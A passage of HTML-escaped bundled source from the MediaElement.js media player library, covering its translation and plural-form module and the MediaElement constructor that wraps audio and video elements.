  Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) {
    Promise._unhandledRejectionFn = fn;
  };
  
  if (typeof module !== &#039;undefined&#039; &amp;&amp; module.exports) {
    module.exports = Promise;
  } else if (!root.Promise) {
    root.Promise = Promise;
  }

})(this);

},{}],5:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _en = _dereq_(15);

var _general = _dereq_(27);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var i18n = { lang: &#039;en&#039;, en: _en.EN };

i18n.language = function () {
	for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
		args[_key] = arguments[_key];
	}

	if (args !== null &amp;&amp; args !== undefined &amp;&amp; args.length) {

		if (typeof args[0] !== &#039;string&#039;) {
			throw new TypeError(&#039;Language code must be a string value&#039;);
		}

		if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) {
			throw new TypeError(&#039;Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters&#039;);
		}

		i18n.lang = args[0];

		if (i18n[args[0]] === undefined) {
			args[1] = args[1] !== null &amp;&amp; args[1] !== undefined &amp;&amp; _typeof(args[1]) === &#039;object&#039; ? args[1] : {};
			i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN;
		} else if (args[1] !== null &amp;&amp; args[1] !== undefined &amp;&amp; _typeof(args[1]) === &#039;object&#039;) {
			i18n[args[0]] = args[1];
		}
	}

	return i18n.lang;
};

i18n.t = function (message) {
	var pluralParam = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : null;


	if (typeof message === &#039;string&#039; &amp;&amp; message.length) {

		var str = void 0,
		    pluralForm = void 0;

		var language = i18n.language();

		var _plural = function _plural(input, number, form) {

			if ((typeof input === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(input)) !== &#039;object&#039; || typeof number !== &#039;number&#039; || typeof form !== &#039;number&#039;) {
				return input;
			}

			var _pluralForms = function () {
				return [function () {
					return arguments.length &lt;= 1 ? undefined : arguments[1];
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) === 1 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 || (arguments.length &lt;= 0 ? undefined : arguments[0]) === 1 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 !== 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) !== 0) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1 || (arguments.length &lt;= 0 ? undefined : arguments[0]) === 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2 || (arguments.length &lt;= 0 ? undefined : arguments[0]) === 12) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt; 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt; 20) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt; 0 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 20) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 !== 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return [3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 !== 11) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &lt;= 4 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt;= 4) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &lt;= 4 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 1) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 2) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 === 4) {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					} else {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt; 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt; 7) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) &gt; 6 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) &lt; 11) {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					} else {
						return arguments.length &lt;= 5 ? undefined : arguments[5];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 3 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt;= 10) {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 11) {
						return arguments.length &lt;= 5 ? undefined : arguments[5];
					} else {
						return arguments.length &lt;= 6 ? undefined : arguments[6];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt; 1 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 11) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt; 10 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 20) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) !== 11 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &gt;= 2 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) % 10 &lt;= 4 &amp;&amp; ((arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &lt; 10 || (arguments.length &lt;= 0 ? undefined : arguments[0]) % 100 &gt;= 20)) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) !== 8 &amp;&amp; (arguments.length &lt;= 0 ? undefined : arguments[0]) !== 11) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					return (arguments.length &lt;= 0 ? undefined : arguments[0]) === 0 ? arguments.length &lt;= 1 ? undefined : arguments[1] : arguments.length &lt;= 2 ? undefined : arguments[2];
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 2) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 3) {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					} else {
						return arguments.length &lt;= 4 ? undefined : arguments[4];
					}
				}, function () {
					if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 0) {
						return arguments.length &lt;= 1 ? undefined : arguments[1];
					} else if ((arguments.length &lt;= 0 ? undefined : arguments[0]) === 1) {
						return arguments.length &lt;= 2 ? undefined : arguments[2];
					} else {
						return arguments.length &lt;= 3 ? undefined : arguments[3];
					}
				}];
			}();

			return _pluralForms[form].apply(null, [number].concat(input));
		};

		if (i18n[language] !== undefined) {
			str = i18n[language][message];
			if (pluralParam !== null &amp;&amp; typeof pluralParam === &#039;number&#039;) {
				pluralForm = i18n[language][&#039;mejs.plural-form&#039;];
				str = _plural.apply(null, [str, pluralParam, pluralForm]);
			}
		}

		if (!str &amp;&amp; i18n.en) {
			str = i18n.en[message];
			if (pluralParam !== null &amp;&amp; typeof pluralParam === &#039;number&#039;) {
				pluralForm = i18n.en[&#039;mejs.plural-form&#039;];
				str = _plural.apply(null, [str, pluralParam, pluralForm]);
			}
		}

		str = str || message;

		if (pluralParam !== null &amp;&amp; typeof pluralParam === &#039;number&#039;) {
			str = str.replace(&#039;%1&#039;, pluralParam);
		}

		return (0, _general.escapeHTML)(str);
	}

	return message;
};

_mejs2.default.i18n = i18n;

if (typeof mejsL10n !== &#039;undefined&#039;) {
	_mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings);
}

exports.default = i18n;

},{&quot;15&quot;:15,&quot;27&quot;:27,&quot;7&quot;:7}],6:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _general = _dereq_(27);

var _media2 = _dereq_(28);

var _renderer = _dereq_(8);

var _constants = _dereq_(25);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&quot;Cannot call a class as a function&quot;); } }

var MediaElement = function MediaElement(idOrNode, options, sources) {
	var _this = this;

	_classCallCheck(this, MediaElement);

	var t = this;

	sources = Array.isArray(sources) ? sources : null;

	t.defaults = {
		renderers: [],

		fakeNodeName: &#039;mediaelementwrapper&#039;,

		pluginPath: &#039;build/&#039;,

		shimScriptAccess: &#039;sameDomain&#039;
	};

	options = Object.assign(t.defaults, options);

	t.mediaElement = _document2.default.createElement(options.fakeNodeName);

	var id = idOrNode,
	    error = false;

	if (typeof idOrNode === &#039;string&#039;) {
		t.mediaElement.originalNode = _document2.default.getElementById(idOrNode);
	} else {
		t.mediaElement.originalNode = idOrNode;
		id = idOrNode.id;
	}

	if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) {
		return null;
	}

	t.mediaElement.options = options;
	id = id || &#039;mejs_&#039; + Math.random().toString().slice(2);

	t.mediaElement.originalNode.setAttribute(&#039;id&#039;, id + &#039;_from_mejs&#039;);

	var tagName = t.mediaElement.originalNode.tagName.toLowerCase();
	if ([&#039;video&#039;, &#039;audio&#039;].indexOf(tagName) &gt; -1 &amp;&amp; !t.mediaElement.originalNode.getAttribute(&#039;preload&#039;)) {
		t.mediaElement.originalNode.setAttribute(&#039;preload&#039;, &#039;none&#039;);
	}

	t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode);

	t.mediaElement.appendChild(t.mediaElement.originalNode);

	var processURL = function processURL(url, type) {
		if (_window2.default.location.protocol === &#039;https:&#039; &amp;&amp; url.indexOf(&#039;http:&#039;) === 0 &amp;&amp; _constants.IS_IOS &amp;&amp; _mejs2.default.html5media.mediaTypes.indexOf(type) &gt; -1) {
			var xhr = new XMLHttpRequest();
			xhr.onreadystatechange = function () {
				if (this.readyState === 4 &amp;&amp; this.status === 200) {
					var _url = _window2.default.URL || _window2.default.webkitURL,
					    blobUrl = _url.createObjectURL(this.response);
					t.mediaElement.originalNode.setAttribute(&#039;src&#039;, blobUrl);
					return blobUrl;
				}
				return url;
			};
			xhr.open(&#039;GET&#039;, url);
			xhr.responseType = &#039;blob&#039;;
			xhr.send();
		}

		return url;
	};

	var mediaFiles = void 0;

	if (sources !== null) {
		mediaFiles = sources;
	} else if (t.mediaElement.originalNode !== null) {

		mediaFiles = [];

		switch (t.mediaElement.originalNode.nodeName.toLowerCase()) {
			case &#039;iframe&#039;:
				mediaFiles.push({
					type: &#039;&#039;,
					src: t.mediaElement.originalNode.getAttribute(&#039;src&#039;)
				});
				break;
			case &#039;audio&#039;:
			case &#039;video&#039;:
				var _sources = t.mediaElement.originalNode.children.length,
				    nodeSource = t.mediaElement.originalNode.getAttribute(&#039;src&#039;);

				if (nodeSource) {
					var node = t.mediaElement.originalNode,
					    type = (0, _media2.formatType)(nodeSource, node.getAttribute(&#039;type&#039;));
					mediaFiles.push({
						type: type,
						src: processURL(nodeSource, type)
					});
				}

				for (var i = 0; i &lt; _sources; i++) {
					var n = t.mediaElement.originalNode.children[i];
					if (n.tagName.toLowerCase() === &#039;source&#039;) {
						var src = n.getAttribute(&#039;src&#039;),
						    _type = (0, _media2.formatType)(src, n.getAttribute(&#039;type&#039;));
						mediaFiles.push({ type: _type, src: processURL(src, _type) });
					}
				}
				break;
		}
	}

	t.mediaElement.id = id;
	t.mediaElement.renderers = {};
	t.mediaElement.events = {};
	t.mediaElement.promises = [];
	t.mediaElement.renderer = null;
	t.mediaElement.rendererName = null;

	t.mediaElement.changeRenderer = function (rendererName, mediaFiles) {

		var t = _this,
		    media = Object.keys(mediaFiles[0]).length &gt; 2 ? mediaFiles[0] : mediaFiles[0].src;

		if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; t.mediaElement.renderer.name === rendererName) {
			t.mediaElement.renderer.pause();
			if (t.mediaElement.renderer.stop) {
				t.mediaElement.renderer.stop();
			}
			t.mediaElement.renderer.show();
			t.mediaElement.renderer.setSrc(media);
			return true;
		}

		if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null) {
			t.mediaElement.renderer.pause();
			if (t.mediaElement.renderer.stop) {
				t.mediaElement.renderer.stop();
			}
			t.mediaElement.renderer.hide();
		}

		var newRenderer = t.mediaElement.renderers[rendererName],
		    newRendererType = null;

		if (newRenderer !== undefined &amp;&amp; newRenderer !== null) {
			newRenderer.show();
			newRenderer.setSrc(media);
			t.mediaElement.renderer = newRenderer;
			t.mediaElement.rendererName = rendererName;
			return true;
		}

		var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order;

		for (var _i = 0, total = rendererArray.length; _i &lt; total; _i++) {
			var index = rendererArray[_i];

			if (index === rendererName) {
				var rendererList = _renderer.renderer.renderers;
				newRendererType = rendererList[index];

				var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options);
				newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles);
				newRenderer.name = rendererName;

				t.mediaElement.renderers[newRendererType.name] = newRenderer;
				t.mediaElement.renderer = newRenderer;
				t.mediaElement.rendererName = rendererName;
				newRenderer.show();
				return true;
			}
		}

		return false;
	};

	t.mediaElement.setSize = function (width, height) {
		if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null) {
			t.mediaElement.renderer.setSize(width, height);
		}
	};

	t.mediaElement.generateError = function (message, urlList) {
		message = message || &#039;&#039;;
		urlList = Array.isArray(urlList) ? urlList : [];
		var event = (0, _general.createEvent)(&#039;error&#039;, t.mediaElement);
		event.message = message;
		event.urls = urlList;
		t.mediaElement.dispatchEvent(event);
		error = true;
	};

	var props = _mejs2.default.html5media.properties,
	    methods = _mejs2.default.html5media.methods,
	    addProperty = function addProperty(obj, name, onGet, onSet) {
		var oldValue = obj[name];
		var getFn = function getFn() {
			return onGet.apply(obj, [oldValue]);
		},
		    setFn = function setFn(newValue) {
			oldValue = onSet.apply(obj, [newValue]);
			return oldValue;
		};

		Object.defineProperty(obj, name, {
			get: getFn,
			set: setFn
		});
	},
	    assignGettersSetters = function assignGettersSetters(propName) {
		if (propName !== &#039;src&#039;) {

			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1),
			    getFn = function getFn() {
				return t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; typeof t.mediaElement.renderer[&#039;get&#039; + capName] === &#039;function&#039; ? t.mediaElement.renderer[&#039;get&#039; + capName]() : null;
			},
			    setFn = function setFn(value) {
				if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; typeof t.mediaElement.renderer[&#039;set&#039; + capName] === &#039;function&#039;) {
					t.mediaElement.renderer[&#039;set&#039; + capName](value);
				}
			};

			addProperty(t.mediaElement, propName, getFn, setFn);
			t.mediaElement[&#039;get&#039; + capName] = getFn;
			t.mediaElement[&#039;set&#039; + capName] = setFn;
		}
	},
	    getSrc = function getSrc() {
		return t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null;
	},
	    setSrc = function setSrc(value) {
		var mediaFiles = [];

		if (typeof value === &#039;string&#039;) {
			mediaFiles.push({
				src: value,
				type: value ? (0, _media2.getTypeFromFile)(value) : &#039;&#039;
			});
		} else if ((typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src !== undefined) {
			var _src = (0, _media2.absolutizeUrl)(value.src),
			    _type2 = value.type,
			    media = Object.assign(value, {
				src: _src,
				type: (_type2 === &#039;&#039; || _type2 === null || _type2 === undefined) &amp;&amp; _src ? (0, _media2.getTypeFromFile)(_src) : _type2
			});
			mediaFiles.push(media);
		} else if (Array.isArray(value)) {
			for (var _i2 = 0, total = value.length; _i2 &lt; total; _i2++) {

				var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src),
				    _type3 = value[_i2].type,
				    _media = Object.assign(value[_i2], {
					src: _src2,
					type: (_type3 === &#039;&#039; || _type3 === null || _type3 === undefined) &amp;&amp; _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3
				});

				mediaFiles.push(_media);
			}
		}

		var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []),
		    event = void 0;

		if (!t.mediaElement.paused &amp;&amp; !(t.mediaElement.src == null || t.mediaElement.src === &#039;&#039;)) {
			t.mediaElement.pause();
			event = (0, _general.createEvent)(&#039;pause&#039;, t.mediaElement);
			t.mediaElement.dispatchEvent(event);
		}
		t.mediaElement.originalNode.src = mediaFiles[0].src || &#039;&#039;;

		if (renderInfo === null &amp;&amp; mediaFiles[0].src) {
			t.mediaElement.generateError(&#039;No renderer found&#039;, mediaFiles);
			return;
		}

		var shouldChangeRenderer = !(mediaFiles[0].src == null || mediaFiles[0].src === &#039;&#039;);
		return shouldChangeRenderer ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null;
	},
	    triggerAction = function triggerAction(methodName, args) {
		try {
			if (methodName === &#039;play&#039; &amp;&amp; (t.mediaElement.rendererName === &#039;native_dash&#039; || t.mediaElement.rendererName === &#039;native_hls&#039; || t.mediaElement.rendererName === &#039;vimeo_iframe&#039;)) {
				var response = t.mediaElement.renderer[methodName](args);
				if (response &amp;&amp; typeof response.then === &#039;function&#039;) {
					response.catch(function () {
						if (t.mediaElement.paused) {
							setTimeout(function () {
								var tmpResponse = t.mediaElement.renderer.play();
								if (tmpResponse !== undefined) {
									tmpResponse.catch(function () {
										if (!t.mediaElement.renderer.paused) {
											t.mediaElement.renderer.pause();
										}
									});
								}
							}, 150);
						}
					});
				}
			} else {
				t.mediaElement.renderer[methodName](args);
			}
		} catch (e) {
			t.mediaElement.generateError(e, mediaFiles);
		}
	},
	    assignMethods = function assignMethods(methodName) {
		t.mediaElement[methodName] = function () {
			for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
				args[_key] = arguments[_key];
			}

			if (t.mediaElement.renderer !== undefined &amp;&amp; t.mediaElement.renderer !== null &amp;&amp; typeof t.mediaElement.renderer[methodName] === &#039;function&#039;) {
				if (t.mediaElement.promises.length) {
					Promise.all(t.mediaElement.promises).then(function () {
						triggerAction(methodName, args);
					}).catch(function (e) {
						t.mediaElement.generateError(e, mediaFiles);
					});
				} else {
					triggerAction(methodName, args);
				}
			}
			return null;
		};
	};

	addProperty(t.mediaElement, &#039;src&#039;, getSrc, setSrc);
	t.mediaElement.getSrc = getSrc;
	t.mediaElement.setSrc = setSrc;

	for (var _i3 = 0, total = props.length; _i3 &lt; total; _i3++) {
		assignGettersSetters(props[_i3]);
	}

	for (var _i4 = 0, _total = methods.length; _i4 &lt; _total; _i4++) {
		assignMethods(methods[_i4]);
	}

	t.mediaElement.addEventListener = function (eventName, callback) {
		t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || [];

		t.mediaElement.events[eventName].push(callback);
	};
	t.mediaElement.removeEventListener = function (eventName, callback) {
		if (!eventName) {
			t.mediaElement.events = {};
			return true;
		}

		var callbacks = t.mediaElement.events[eventName];

		if (!callbacks) {
			return true;
		}

		if (!callback) {
			t.mediaElement.events[eventName] = [];
			return true;
		}

		for (var _i5 = 0; _i5 &lt; callbacks.length; _i5++) {
			if (callbacks[_i5] === callback) {
				t.mediaElement.events[eventName].splice(_i5, 1);
				return true;
			}
		}
		return false;
	};

	t.mediaElement.dispatchEvent = function (event) {
		var callbacks = t.mediaElement.events[event.type];
		if (callbacks) {
			for (var _i6 = 0; _i6 &lt; callbacks.length; _i6++) {
				callbacks[_i6].apply(null, [event]);
			}
		}
	};

	t.mediaElement.destroy = function () {
		var mediaElement = t.mediaElement.originalNode.cloneNode(true);
		var wrapper = t.mediaElement.parentElement;
		mediaElement.removeAttribute(&#039;id&#039;);
		mediaElement.remove();
		t.mediaElement.remove();
		wrapper.appendChild(mediaElement);
	};

	if (mediaFiles.length) {
		t.mediaElement.src = mediaFiles;
	}

	if (t.mediaElement.promises.length) {
		Promise.all(t.mediaElement.promises).then(function () {
			if (t.mediaElement.options.success) {
				t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
			}
		}).catch(function () {
			if (error &amp;&amp; t.mediaElement.options.error) {
				t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
			}
		});
	} else {
		if (t.mediaElement.options.success) {
			t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
		}

		if (error &amp;&amp; t.mediaElement.options.error) {
			t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
		}
	}

	return t.mediaElement;
};

_window2.default.MediaElement = MediaElement;
_mejs2.default.MediaElement = MediaElement;

exports.default = MediaElement;

},{&quot;2&quot;:2,&quot;25&quot;:25,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],7:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var mejs = {};

mejs.version = &#039;4.2.17&#039;;

mejs.html5media = {
	properties: [&#039;volume&#039;, &#039;src&#039;, &#039;currentTime&#039;, &#039;muted&#039;, &#039;duration&#039;, &#039;paused&#039;, &#039;ended&#039;, &#039;buffered&#039;, &#039;error&#039;, &#039;networkState&#039;, &#039;readyState&#039;, &#039;seeking&#039;, &#039;seekable&#039;, &#039;currentSrc&#039;, &#039;preload&#039;, &#039;bufferedBytes&#039;, &#039;bufferedTime&#039;, &#039;initialTime&#039;, &#039;startOffsetTime&#039;, &#039;defaultPlaybackRate&#039;, &#039;playbackRate&#039;, &#039;played&#039;, &#039;autoplay&#039;, &#039;loop&#039;, &#039;controls&#039;],
	readOnlyProperties: [&#039;duration&#039;, &#039;paused&#039;, &#039;ended&#039;, &#039;buffered&#039;, &#039;error&#039;, &#039;networkState&#039;, &#039;readyState&#039;, &#039;seeking&#039;, &#039;seekable&#039;],

	methods: [&#039;load&#039;, &#039;play&#039;, &#039;pause&#039;, &#039;canPlayType&#039;],

	events: [&#039;loadstart&#039;, &#039;durationchange&#039;, &#039;loadedmetadata&#039;, &#039;loadeddata&#039;, &#039;progress&#039;, &#039;canplay&#039;, &#039;canplaythrough&#039;, &#039;suspend&#039;, &#039;abort&#039;, &#039;error&#039;, &#039;emptied&#039;, &#039;stalled&#039;, &#039;play&#039;, &#039;playing&#039;, &#039;pause&#039;, &#039;waiting&#039;, &#039;seeking&#039;, &#039;seeked&#039;, &#039;timeupdate&#039;, &#039;ended&#039;, &#039;ratechange&#039;, &#039;volumechange&#039;],

